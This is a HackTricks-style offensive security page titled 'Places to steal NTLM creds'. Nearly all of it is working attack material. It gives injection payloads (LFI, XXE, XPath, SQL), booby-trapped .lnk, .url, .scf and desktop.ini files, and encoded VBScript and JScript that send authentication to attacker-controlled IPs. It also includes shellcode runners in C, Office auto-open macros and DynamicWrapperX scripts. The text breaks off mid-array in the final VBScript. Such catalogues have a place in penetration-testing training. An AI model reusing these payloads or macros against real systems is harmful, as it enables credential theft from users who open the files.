mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 20:43:29 +00:00
702 lines
27 KiB
Markdown
702 lines
27 KiB
Markdown
# Places to steal NTLM creds
|
||
|
||
<details>
|
||
|
||
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## Automatic Payloads Creation & Other lists
|
||
|
||
### [ntlm\_theft](https://github.com/Greenwolf/ntlm\_theft)
|
||
|
||
This tool will **create several documents/files** that if accessed by the user somehow they will **start a NTLM authentication with the attacker**.
|
||
|
||
#### ntlm\_theft supports the following attack types:
|
||
|
||
Browse to Folder Containing:
|
||
|
||
* .url – via URL field
|
||
* .url – via ICONFILE field
|
||
* .lnk - via icon\_location field
|
||
* .scf – via ICONFILE field (Not Working on Latest Windows)
|
||
* autorun.inf via OPEN field (Not Working on Latest Windows)
|
||
* desktop.ini - via IconResource field (Not Working on Latest Windows)
|
||
|
||
Open Document:
|
||
|
||
* .xml – via Microsoft Word external stylesheet
|
||
* .xml – via Microsoft Word includepicture field
|
||
* .htm – via Chrome & IE & Edge img src (only if opened locally, not hosted)
|
||
* .docx – via Microsoft Word includepicture field
|
||
|
||
\-.docx – via Microsoft Word external template
|
||
|
||
\-.docx – via Microsoft Word frameset webSettings
|
||
|
||
\-.xlsx - via Microsoft Excel external cell
|
||
|
||
\-.wax - via Windows Media Player playlist (Better, primary open)
|
||
|
||
\-.asx – via Windows Media Player playlist (Better, primary open)
|
||
|
||
\-.m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy)
|
||
|
||
\-.jnlp – via Java external jar
|
||
|
||
\-.application – via any Browser (Must be served via a browser downloaded or won’t run)
|
||
|
||
Open Document and Accept Popup:
|
||
|
||
* .pdf – via Adobe Acrobat Reader
|
||
|
||
Click Link in Chat Program:
|
||
|
||
* .txt – formatted link to paste into Zoom chat
|
||
|
||
> Example :
|
||
>
|
||
> ```bash
|
||
> # python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
|
||
> Created: test/test.scf (BROWSE)
|
||
> Created: test/test-(url).url (BROWSE)
|
||
> Created: test/test-(icon).url (BROWSE)
|
||
> Created: test/test.rtf (OPEN)
|
||
> Created: test/test-(stylesheet).xml (OPEN)
|
||
> Created: test/test-(fulldocx).xml (OPEN)
|
||
> Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
|
||
> Created: test/test-(includepicture).docx (OPEN)
|
||
> Created: test/test-(remotetemplate).docx (OPEN)
|
||
> Created: test/test-(frameset).docx (OPEN)
|
||
> Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
|
||
> Created: test/test.asx (OPEN)
|
||
> Created: test/test.jnlp (OPEN)
|
||
> Created: test/test.application (DOWNLOAD AND OPEN)
|
||
> Created: test/test.pdf (OPEN AND ALLOW)
|
||
> Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
|
||
> Generation Complete.
|
||
> ```
|
||
|
||
### [All\_NTLM-Leak](https://github.com/Gl3bGl4z/All\_NTLM\_leak)
|
||
|
||
> Cheatsheet
|
||
|
||
This is a list of techniques to force NTLM authentications to steal credentials from the victim.
|
||
|
||
### Force NTLM Privileged Authentication
|
||
|
||
You may be able to **force a windows machine to authenticate to an arbitrary machine** using a privileged account. Read the following page to learn more:
|
||
|
||
{% content-ref url="../active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||
[printers-spooler-service-abuse.md](../active-directory-methodology/printers-spooler-service-abuse.md)
|
||
{% endcontent-ref %}
|
||
|
||
## LFI
|
||
|
||
The include() in PHP will resolve the network path for us.
|
||
|
||
```
|
||
http://host.tld/?page=//11.22.33.44/@OsandaMalith
|
||
```
|
||
|
||
.png>)
|
||
|
||
## XXE
|
||
|
||
In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.
|
||
|
||
```markup
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
|
||
]>
|
||
<root>
|
||
<name></name>
|
||
<tel></tel>
|
||
<email>OUT&xxe;OUT</email>
|
||
<password></password>
|
||
</root>
|
||
```
|
||
|
||
.png>)
|
||
|
||
## XPath Injection
|
||
|
||
Usually, doc() is used in out-of-band XPath injections, thus can be applied in resolving a network path.
|
||
|
||
```
|
||
http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith')
|
||
```
|
||
|
||
 (2).png>)
|
||
|
||
## MySQL Injection
|
||
|
||
I have written a complete [post ](https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)on MySQL out-of-band injections which can be applied over the internet. You can also use ‘INTO OUTFILE’ to resolve a network path.
|
||
|
||
```
|
||
http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00
|
||
```
|
||
|
||
.png>)
|
||
|
||
## MSSQL
|
||
|
||
Since stacked queries are supported we can call stored procedures.
|
||
|
||
```
|
||
';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q
|
||
```
|
||
|
||
## Regsvr32
|
||
|
||
Accidently found this one while experimenting with .sct files.
|
||
|
||
```
|
||
regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll
|
||
```
|
||
|
||
## Batch
|
||
|
||
There are many possible ways you can explore
|
||
|
||
```
|
||
echo 1 > //192.168.0.1/abc
|
||
pushd \\192.168.0.1\abc
|
||
cmd /k \\192.168.0.1\abc
|
||
cmd /c \\192.168.0.1\abc
|
||
start \\192.168.0.1\abc
|
||
mkdir \\192.168.0.1\abc
|
||
type\\192.168.0.1\abc
|
||
dir\\192.168.0.1\abc
|
||
find, findstr, [x]copy, move, replace, del, rename and many more!
|
||
```
|
||
|
||
## Auto-Complete
|
||
|
||
You just need to type ‘\host\’ the auto-complete will do the trick under the explorer and the run dialog box.
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
## Autorun.inf
|
||
|
||
Starting from Windows 7 this feature is disabled. However you can enable by changing the group policy for Autorun. Make sure to hide the Autorun.inf file to work.
|
||
|
||
```
|
||
[autorun]
|
||
open=\\35.164.153.224\setup.exe
|
||
icon=something.ico
|
||
action=open Setup.exe
|
||
```
|
||
|
||
## Shell Command Files
|
||
|
||
It is possible to obtain passwords hashes of domain users or shells when writing permissions given to unauthenticated users. SCF (Shell Command Files) can perform a limited set of operations like showing the Windows desktop or opening a Windows Explorer. Save the code below as `ordinary.scf` and put it into a network share.
|
||
|
||
```
|
||
[Shell]
|
||
Command=2
|
||
IconFile=\\AttackerIP\ordinary.ico
|
||
[Taskbar]
|
||
Command=ToggleDesktop
|
||
```
|
||
|
||
## Desktop.ini
|
||
|
||
The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes.
|
||
|
||
```
|
||
mkdir openMe
|
||
attrib +s openMe
|
||
cd openMe
|
||
echo [.ShellClassInfo] > desktop.ini
|
||
echo IconResource=\\192.168.0.1\aa >> desktop.ini
|
||
attrib +s +h desktop.ini
|
||
```
|
||
|
||
In Windows XP systems the desktop.ini file uses ‘IcondFile’ instead of ‘IconResource’.
|
||
|
||
```
|
||
[.ShellClassInfo]
|
||
IconFile=\\192.168.0.1\aa
|
||
IconIndex=1337
|
||
```
|
||
|
||
## Shortcut Files (.lnk)
|
||
|
||
We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory.
|
||
|
||
```powershell
|
||
Set shl = CreateObject("WScript.Shell")
|
||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||
currentFolder = shl.CurrentDirectory
|
||
|
||
Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk"))
|
||
|
||
sc.TargetPath = "\\35.164.153.224\@OsandaMalith"
|
||
sc.WindowStyle = 1
|
||
sc.HotKey = "Ctrl+Alt+O"
|
||
sc.IconLocation = "%windir%\system32\shell32.dll, 3"
|
||
sc.Description = "I will Steal your Hashes"
|
||
sc.Save
|
||
```
|
||
|
||
The Powershell version.
|
||
|
||
```powershell
|
||
#TargetPath attack
|
||
$objShell = New-Object -ComObject WScript.Shell
|
||
$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")
|
||
$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"
|
||
$lnk.WindowStyle = 1
|
||
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
|
||
$lnk.Description = "I will Steal your Hashes"
|
||
$lnk.HotKey = "Ctrl+Alt+O"
|
||
$lnk.Save()
|
||
|
||
#IconLocation Attack
|
||
$wsh = new-object -ComObject wscript.shell
|
||
$shortcut = $wsh.CreateShortcut("\\dc\software\test.lnk")
|
||
$shortcut.IconLocation = "\\10.10.10.10\test.ico"
|
||
$shortcut.Save()
|
||
```
|
||
|
||
## Internet Shortcuts (.url)
|
||
|
||
Another shortcut in Windows is the Internet shortcuts. You can save this as something.url
|
||
|
||
```bash
|
||
echo [InternetShortcut] > stealMyHashes.url
|
||
echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url
|
||
```
|
||
|
||
## Autorun with Registry
|
||
|
||
You can add a new registry key in any of the following paths.
|
||
|
||
```
|
||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
|
||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
|
||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
|
||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
|
||
```
|
||
|
||
 (5).png>)
|
||
|
||
## Powershell
|
||
|
||
There are probably many scriptlets in Powershell that would resolve a network path.
|
||
|
||
```
|
||
Invoke-Item \\192.168.0.1\aa
|
||
Get-Content \\192.168.0.1\aa
|
||
Start-Process \\192.168.0.1\aa
|
||
```
|
||
|
||
## IE
|
||
|
||
IE will resolve UNC paths. For example
|
||
|
||
```html
|
||
<img src="\\\\192.168.0.1\\aa">
|
||
```
|
||
|
||
You can inject under XSS or in scenarios you find SQL injection. For example.
|
||
|
||
```
|
||
http://host.tld/?id=-1' union select 1,'<img src="\\\\192.168.0.1\\aa">';%00
|
||
```
|
||
|
||
## VBScript
|
||
|
||
You can save this as .vbs or can be used inside a macro that is applied to Word or Excel files.
|
||
|
||
```bash
|
||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
|
||
```
|
||
|
||
You can apply in web pages but this works only with IE.
|
||
|
||
```markup
|
||
<html>
|
||
<script type="text/Vbscript">
|
||
<!--
|
||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
|
||
//-->
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
Here’ the encoded version. You can encode and save this as something.vbe
|
||
|
||
```
|
||
#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@
|
||
```
|
||
|
||
You can apply this in html files too. But only works with IE. You can save this as something.hta which will be an HTML Application under windows, which mshta.exe will execute it. By default it uses IE.
|
||
|
||
```
|
||
<html>
|
||
<script type="text/Vbscript.Encode">
|
||
<!--
|
||
#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@
|
||
//-->
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
## JScript
|
||
|
||
You can save this as something.js under windows.
|
||
|
||
```javascript
|
||
var fso = new ActiveXObject("Scripting.FileSystemObject")
|
||
fso.FileExists("//192.168.0.103/aa")
|
||
```
|
||
|
||
You can apply the same in html files but only works with IE. Also you can save this as something.hta.
|
||
|
||
```markup
|
||
<html>
|
||
<script type="text/Jscript">
|
||
<!--
|
||
var fso = new ActiveXObject("Scripting.FileSystemObject")
|
||
fso.FileExists("//192.168.0.103/aa")
|
||
//-->
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
Here’s the encoded version. You can save this as something.jse.
|
||
|
||
```
|
||
#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
|
||
```
|
||
|
||
The html version of this.
|
||
|
||
```markup
|
||
<html>
|
||
<script type="text/Jscript.Encode">
|
||
<!--
|
||
#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
|
||
//-->
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
## Windows Script Files
|
||
|
||
Save this as something.wsf.
|
||
|
||
```markup
|
||
<package>
|
||
<job id="boom">
|
||
<script language="VBScript">
|
||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
|
||
</script>
|
||
</job>
|
||
</package>
|
||
```
|
||
|
||
## Shellcode
|
||
|
||
Here’s a small shellcode I made. This shellcode uses CreateFile and tries to read a non-existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over the internet. SMBRelay attacks can also be performed.
|
||
|
||
```cpp
|
||
/*
|
||
Title: CreateFile Shellcode
|
||
Author: Osanda Malith Jayathissa (@OsandaMalith)
|
||
Website: https://osandamalith.com
|
||
Size: 368 Bytes
|
||
*/
|
||
# include <stdlib.h>
|
||
# include <stdio.h>
|
||
# include <string.h>
|
||
# include <windows.h>
|
||
|
||
int main() {
|
||
|
||
char *shellcode =
|
||
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02"
|
||
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
|
||
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05"
|
||
"\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10"
|
||
"\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0"
|
||
"\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8"
|
||
"\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a"
|
||
"\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff"
|
||
"\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe"
|
||
"\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b"
|
||
"\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89"
|
||
"\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40"
|
||
"\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff"
|
||
"\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
|
||
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b"
|
||
"\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc"
|
||
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff"
|
||
"\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
|
||
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f"
|
||
"\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7"
|
||
"\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf"
|
||
"\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32"
|
||
"\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05";
|
||
|
||
DWORD oldProtect;
|
||
|
||
wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode));
|
||
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
|
||
|
||
if (!ret) {
|
||
fprintf(stderr, "%s", "Error Occured");
|
||
return EXIT_FAILURE;
|
||
}
|
||
|
||
((void(*)(void))shellcode)();
|
||
|
||
VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
|
||
|
||
return EXIT_SUCCESS;
|
||
}
|
||
```
|
||
|
||
[https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html](https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html)
|
||
|
||
## Shellcode Inside Macros
|
||
|
||
Here’s the above shellcode applied inside a Word/Excel macro. You can use the same code inside a VB6 application.
|
||
|
||
```basic
|
||
' Author : Osanda Malith Jayathissa (@OsandaMalith)
|
||
' Title: Shellcode to request a non-existing network path
|
||
' Website: https://osandamalith
|
||
' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
|
||
' This is a word/excel macro. This can be used in vb6 applications as well
|
||
|
||
#If Vba7 Then
|
||
Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
|
||
ByVal lpThreadAttributes As Long, _
|
||
ByVal dwStackSize As Long, _
|
||
ByVal lpStartAddress As LongPtr, _
|
||
lpParameter As Long, _
|
||
ByVal dwCreationFlags As Long, _
|
||
lpThreadId As Long) As LongPtr
|
||
|
||
|
||
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
|
||
ByVal lpAddress As Long, _
|
||
ByVal dwSize As Long, _
|
||
ByVal flAllocationType As Long, _
|
||
ByVal flProtect As Long) As LongPtr
|
||
|
||
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _
|
||
ByVal Destination As LongPtr, _
|
||
ByRef Source As Any, _
|
||
ByVal Length As Long) As LongPtr
|
||
|
||
#Else
|
||
Private Declare Function CreateThread Lib "kernel32" ( _
|
||
ByVal lpThreadAttributes As Long, _
|
||
ByVal dwStackSize As Long, _
|
||
ByVal lpStartAddress As Long, _
|
||
lpParameter As Long, _
|
||
ByVal dwCreationFlags As Long, _
|
||
lpThreadId As Long) As Long
|
||
|
||
Private Declare Function VirtualAlloc Lib "kernel32" ( _
|
||
ByVal lpAddress As Long, _
|
||
ByVal dwSize As Long, _
|
||
ByVal flAllocationType As Long, _
|
||
ByVal flProtect As Long) As Long
|
||
|
||
Private Declare Function RtlMoveMemory Lib "kernel32" ( _
|
||
ByVal Destination As Long, _
|
||
ByRef Source As Any, _
|
||
ByVal Length As Long) As Long
|
||
#EndIf
|
||
|
||
Const MEM_COMMIT = &H1000
|
||
Const PAGE_EXECUTE_READWRITE = &H40
|
||
|
||
Sub Auto_Open()
|
||
Dim source As Long, i As Long
|
||
#If Vba7 Then
|
||
Dim lpMemory As LongPtr, lResult As LongPtr
|
||
#Else
|
||
Dim lpMemory As Long, lResult As Long
|
||
#EndIf
|
||
|
||
Dim bShellcode(376) As Byte
|
||
bShellcode(0) = 232
|
||
bShellcode(1) = 255
|
||
bShellcode(2) = 255
|
||
bShellcode(3) = 255
|
||
bShellcode(4) = 255
|
||
bShellcode(5) = 192
|
||
bShellcode(6) = 95
|
||
bShellcode(7) = 185
|
||
bShellcode(8) = 85
|
||
bShellcode(9) = 3
|
||
bShellcode(10) = 2
|
||
bShellcode(11) = 2
|
||
bShellcode(12) = 129
|
||
bShellcode(13) = 241
|
||
bShellcode(14) = 2
|
||
bShellcode(15) = 2
|
||
bShellcode(16) = 2
|
||
.....................
|
||
lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
|
||
For i = LBound(bShellcode) To UBound(bShellcode)
|
||
source = bShellcode(i)
|
||
lResult = RtlMoveMemory(lpMemory + i, source, 1)
|
||
Next i
|
||
lResult = CreateThread(0, 0, lpMemory, 0, 0, 0)
|
||
End Sub
|
||
Sub AutoOpen()
|
||
Auto_Open
|
||
End Sub
|
||
Sub Workbook_Open()
|
||
Auto_Open
|
||
End Sub
|
||
```
|
||
|
||
[https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba)
|
||
|
||
## Shellcode Inside VBS and JS
|
||
|
||
subTee has done many kinds of research with JS and DynamicWrapperX. You can find a POC using the DynamicWrapperX DLL.\
|
||
[http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html](http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html)\
|
||
Based on that I have ported the shellcode to JS and VBS. The fun part is we can embed shellcode in JScript or VBScript inside html and .hta formats.\
|
||
Note the following shellcode directs to my IP.
|
||
|
||
#### JScript
|
||
|
||
```javascript
|
||
/*
|
||
* Author : Osanda Malith Jayathissa (@OsandaMalith)
|
||
* Title: Shellcode to request a non-existing network path
|
||
* Website: https://osandamalith.com
|
||
* Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
|
||
* Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
|
||
*/
|
||
DX = new ActiveXObject("DynamicWrapperX");
|
||
DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
|
||
DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
|
||
DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");
|
||
|
||
var MEM_COMMIT = 0x1000;
|
||
var PAGE_EXECUTE_READWRITE = 0x40;
|
||
|
||
var sc = [
|
||
0xe8, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x5f, 0xb9, 0x55, 0x03, 0x02, 0x02, 0x81, 0xf1, 0x02, 0x02, 0x02, 0x02, 0x83, 0xc7,
|
||
0x1d, 0x33, 0xf6, 0xfc, 0x8a, 0x07, 0x3c, 0x05, 0x0f, 0x44, 0xc6, 0xaa, 0xe2, 0xf6, 0xe8, 0x05, 0x05, 0x05, 0x05, 0x5e,
|
||
0x8b, 0xfe, 0x81, 0xc6, 0x29, 0x01, 0x05, 0x05, 0xb9, 0x02, 0x05, 0x05, 0x05, 0xfc, 0xad, 0x01, 0x3c, 0x07, 0xe2, 0xfa,
|
||
0x56, 0xb9, 0x8d, 0x10, 0xb7, 0xf8, 0xe8, 0x5f, 0x05, 0x05, 0x05, 0x68, 0x31, 0x01, 0x05, 0x05, 0xff, 0xd0, 0xb9, 0xe0,
|
||
0x53, 0x31, 0x4b, 0xe8, 0x4e, 0x05, 0x05, 0x05, 0xb9, 0xac, 0xd5, 0xaa, 0x88, 0x8b, 0xf0, 0xe8, 0x42, 0x05, 0x05, 0x05,
|
||
0x6a, 0x05, 0x68, 0x80, 0x05, 0x05, 0x05, 0x6a, 0x03, 0x6a, 0x05, 0x6a, 0x01, 0x68, 0x05, 0x05, 0x05, 0x80, 0x68, 0x3e,
|
||
0x01, 0x05, 0x05, 0xff, 0xd0, 0x6a, 0x05, 0xff, 0xd6, 0x33, 0xc0, 0x5e, 0xc3, 0x33, 0xd2, 0xeb, 0x10, 0xc1, 0xca, 0x0d,
|
||
0x3c, 0x61, 0x0f, 0xbe, 0xc0, 0x7c, 0x03, 0x83, 0xe8, 0x20, 0x03, 0xd0, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xea, 0x8b,
|
||
0xc2, 0xc3, 0x8d, 0x41, 0xf8, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0x89, 0x4d, 0xf4, 0x64, 0xa1,
|
||
0x30, 0x05, 0x05, 0x05, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x14, 0x89, 0x45, 0xec, 0x8b,
|
||
0xf8, 0x8b, 0xcf, 0xe8, 0xd2, 0xff, 0xff, 0xff, 0x8b, 0x70, 0x18, 0x8b, 0x3f, 0x85, 0xf6, 0x74, 0x4f, 0x8b, 0x46, 0x3c,
|
||
0x8b, 0x5c, 0x30, 0x78, 0x85, 0xdb, 0x74, 0x44, 0x8b, 0x4c, 0x33, 0x0c, 0x03, 0xce, 0xe8, 0x96, 0xff, 0xff, 0xff, 0x8b,
|
||
0x4c, 0x33, 0x20, 0x89, 0x45, 0xf8, 0x33, 0xc0, 0x03, 0xce, 0x89, 0x4d, 0xf0, 0x89, 0x45, 0xfc, 0x39, 0x44, 0x33, 0x18,
|
||
0x76, 0x22, 0x8b, 0x0c, 0x81, 0x03, 0xce, 0xe8, 0x75, 0xff, 0xff, 0xff, 0x03, 0x45, 0xf8, 0x39, 0x45, 0xf4, 0x74, 0x1c,
|
||
0x8b, 0x45, 0xfc, 0x8b, 0x4d, 0xf0, 0x40, 0x89, 0x45, 0xfc, 0x3b, 0x44, 0x33, 0x18, 0x72, 0xde, 0x3b, 0x7d, 0xec, 0x75,
|
||
0x9c, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x4d, 0xfc, 0x8b, 0x44, 0x33, 0x24, 0x8d, 0x04, 0x48, 0x0f, 0xb7,
|
||
0x0c, 0x30, 0x8b, 0x44, 0x33, 0x1c, 0x8d, 0x04, 0x88, 0x8b, 0x04, 0x30, 0x03, 0xc6, 0xeb, 0xdf, 0x21, 0x05, 0x05, 0x05,
|
||
0x50, 0x05, 0x05, 0x05, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x05, 0x2f, 0x2f, 0x33,
|
||
0x35, 0x2e, 0x31, 0x36, 0x34, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x32, 0x32, 0x34, 0x2f, 0x61, 0x61, 0x05];
|
||
|
||
var scLocation = DX.VirtualAlloc(0, sc.length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||
for(var i = 0; i < sc.length; i++) DX.NumPut(sc[i],scLocation,i);
|
||
var thread = DX.CreateThread(0,0,scLocation,0,0);
|
||
```
|
||
|
||
[https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js)
|
||
|
||
#### VBScript
|
||
|
||
```vba
|
||
' Author : Osanda Malith Jayathissa (@OsandaMalith)
|
||
' Title: Shellcode to request a non-existing network path
|
||
' Website: https://osandamalith.com
|
||
' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
|
||
' Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
|
||
|
||
Set DX = CreateObject("DynamicWrapperX")
|
||
DX.Register "kernel32.dll", "VirtualAlloc", "i=luuu", "r=u"
|
||
DX.Register "kernel32.dll","CreateThread","i=uullu","r=u"
|
||
DX.Register "kernel32.dll", "WaitForSingleObject", "i=uu", "r=u"
|
||
|
||
Const MEM_COMMIT = &H1000
|
||
Const PAGE_EXECUTE_READWRITE = &H40
|
||
|
||
shellcode = Array( _
|
||
&He8, &Hff, &Hff, &Hff, &Hff, &Hc0, &H5f, &Hb9, &H55, &H03, &H02, &H02, &H81, &Hf1, &H02, &H02, &H02, &H02, &H83, &Hc7, _
|
||
